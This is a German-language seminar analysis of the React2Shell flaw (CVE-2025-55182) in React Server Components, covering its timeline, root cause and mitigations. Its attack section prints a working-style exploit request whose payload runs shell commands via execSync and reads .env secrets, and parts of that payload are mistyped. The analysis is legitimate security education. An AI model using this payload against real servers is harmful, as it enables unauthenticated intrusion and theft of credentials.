React2Shell (CVE-2025-55182)

Unsere FISA Technologie-Seminar 6. Runde - Team 3 Analyse und Forschung zu React2Shell, einer Remote Code Execution (RCE) Schwachstelle durch Konstruktionsfehler im React Server Component (RSC)

Team

Inhaltsverzeichnis

1. Übersicht: Was ist React2Shell?
2. Angriffsmechanismus von React2Shell
3. Auswirkungen von React2Shell
4. Sicherheitsverantwortung im Frontend

01. Übersicht: Was ist React2Shell?

React2Shell (CVE-2025-55182) ist eine kritische Sicherheitslücke, die im Kommunikationsprozess des von React Server Components (RSC) verwendeten Flight Protocol entdeckt wurde.

• Kernproblem: Ein Angreifer kann ohne Authentifizierung mit einer einzigen HTTP-Anfrage interne Befehle auf dem Server ausführen.
• Schweregrad: CVSS-Score 10.0
• Ursache: Prototype Pollution durch Deserialisierung nicht vertrauenswürdiger Daten

Konstruktionsfehler des Flight Protocol

React verwendet zur Verarbeitung von Komponenten das Flight Protocol, das neben Strings und Arrays auch komplexe Typen wie Promise, Blob, Map unterstützt.

Angreifer nutzen Schwachstellen in der Verarbeitung des Protokollstreams, um bösartige Skripte einzuschleusen und die Kontrolle über den Server zu erlangen.

Zeitstrahl

• 29.11.2025: Erste Meldung über Meta Bug Bounty
• 30.11.2025: Bestätigung durch das Sicherheitsteam und Beginn der Zusammenarbeit mit dem React-Team
• 01.12.2025: Entwicklung des Patch-Codes und Verifizierung durch Partner (Vercel usw.)
• 03.12.2025: Verteilung des Patches und Veröffentlichung der CVE

02. Angriffsmechanismus von React2Shell

• Die gebräuchlichste Angriffsmethode nutzt das Referenzsystem des React Flight Protocols ohne weitere Voraussetzungen aus.
• Der Angriff erfolgt in drei Schritten: Bombe platzieren (Payload senden) → Zünden (Deserialisierung) → Explosion (RCE-Ausführung).

1) Bombe platzieren

Der Angreifer sendet eine Anfrage mit Next-Action- und multipart/form-data-Headern, um JSON-Daten an den Server zu übermitteln. Dabei wird im Anforderungsbody ein gefälschter Chunk (Fake Chunk) eingefügt, der als Promise-Objekt getarnt ist.

POST / HTTP/1.1
Host: localhost: 3000

[... andere Header ausgelassen ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('auszuführender Befehl',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) Zünden

// Beispiel für einen vom Angreifer gesendeten gefälschten Chunk
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}

1. Das then des gefälschten Chunks wird auf Chunk.prototype.then gemappt.
2. Während der Deserialisierung von Blob-Daten gelangt der bösartige Code aus _prefix als Argument in die Function.
3. In dem Moment, in dem die erstellte Funktion als thenable des Promises aufgerufen wird, wird der vom Angreifer eingeschleuste beliebige Code auf dem Server ausgeführt.

3) Explosion

// Beispielantwort auf die POST-Anfrage
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

Grundursache

// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // Hier fehlt der hasOwnProperty-Check!
}

• Beim Auflösen von Referenzen der Form $1:path:to:value teilt React den String anhand des Doppelpunkts (:) auf und durchläuft das Objekt.
• Dabei wird durch die Interpretation von $1:__proto__:then auf den Prototypen des Chunks und dessen then zugegriffen (Chunk.prototype.then).
• Dadurch erhält der gefälschte Chunk das then eines echten Chunks, und der vom Angreifer beabsichtigte Code wird ausgeführt.

03. Auswirkungen von React2Shell

Diese Schwachstelle hat im gesamten modernen Web-Ökosystem für erhebliche Unruhe gesorgt.

• Vertrauensverlust in Server-Komponenten: Auslöser der Debatte: „Muss ein Frontend-Framework auch für die Serversicherheit verantwortlich sein?“
• Notstand bei Hosting-Plattformen: Führende PaaS-Anbieter wie Vercel, Netlify, die RSC unterstützen, führte dringende Sicherheitspatches durch.

04. Sicherheitsverantwortung im Frontend

Der React2Shell-Vorfall hinterlässt die Lehre, dass „auch Frontend-Entwickler die Serversicherheit verstehen müssen“.

Gegenmaßnahmen

1. React-bezogene Pakete sofort aktualisieren

Aktualisieren Sie relevante Pakete wie react-server-dom-webpack unverzüglich auf die neueste Version (19.0.1+ etc.)

2. Framework-Patch-Status prüfen

Frameworks wie Next.js, die RSC integrieren, werden nicht einfach durch ein reines React-Update behoben. Daher sind die Sicherheitsrelease-Notizen des Frameworks selbst zu prüfen und ein Upgrade auf die neueste Version erforderlich.

3. Überwachung

Nutzen Sie Überwachungssysteme wie Grafana und verbinden Sie diese mit Kommunikationsmitteln wie E-Mail oder Slack, um bei Warnungen sofortige Maßnahmen ergreifen zu können.

Mit der technologischen Entwicklung hat sich der Zuständigkeitsbereich des Frontends erweitert – ebenso hat sich der Umfang der Sicherheitsverantwortung vergrößert.

Referenzen

React Official Patch

React2Shell: Vollständige Analyse des CVE-2025-55182-Sicherheitslückenleitfadens

Analyse der React-Server-Komponenten-Sicherheitslücke und des Systemeindringwegs

PoC: Proof-of-Concept-Code für die Sicherheitslücke